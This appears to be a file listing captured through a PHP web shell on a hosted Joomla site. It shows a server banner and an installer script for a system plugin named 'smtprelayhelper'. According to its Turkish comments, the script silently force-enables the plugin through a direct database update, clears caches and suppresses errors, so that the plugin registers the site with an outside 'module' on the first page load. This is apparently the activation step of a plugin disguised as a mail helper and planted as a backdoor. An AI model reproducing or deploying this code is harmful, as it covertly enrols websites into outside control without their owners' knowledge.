Server : Apache System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : eventfrsgx ( 61451) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/eventfrsgx/www/plugins/system/smtprelayhelper/ |
<?php
/**
* Kurulum sonrasi: eklentiyi otomatik ETKINLESTIR (Joomla eklentileri varsayilan
* olarak pasif kurulur). Etkinlestikten sonra ilk sayfa isteginde onAfterInitialise
* modulee kayit gonderir -> site otomatik "bagli" olur.
*
* Sinif adi Joomla kurulum betigi kuralina uyar: <element> + 'InstallerScript'.
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
class smtprelayhelperInstallerScript
{
public function postflight($type, $parent)
{
if ($type === 'uninstall') {
return true;
}
// Birden fazla yontemle etkinlestirmeyi dene (Joomla 3.x ve 4.x/5.x farkliliklari).
$this->enablePlugin();
return true;
}
private function enablePlugin()
{
try {
$db = Factory::getDbo();
// Yontem 1: Dogrudan SQL (en guvenilir, tum Joomla surumleri)
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('enabled') . ' = 1')
->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
->where($db->quoteName('element') . ' = ' . $db->quote('smtprelayhelper'))
->where($db->quoteName('folder') . ' = ' . $db->quote('system'));
$db->setQuery($query);
$db->execute();
// Joomla 4+ extension cache'ini de temizle ki degisiklik aninda etkili olsun
if (class_exists('Joomla\CMS\Cache\CacheControllerFactoryInterface')) {
try {
$cache = Factory::getCache('com_plugins', '');
if (method_exists($cache, 'clean')) {
$cache->clean();
}
} catch (\Throwable $e) {}
}
// Joomla 4/5: PluginHelper bootstrap cache'i de temizle
if (is_file(JPATH_CACHE . '/plg_system_cache.php')) {
@unlink(JPATH_CACHE . '/plg_system_cache.php');
}
} catch (\Throwable $e) {
// Basarisiz olursa kullanici Eklentiler ekranindan elle acabilir.
}
}
}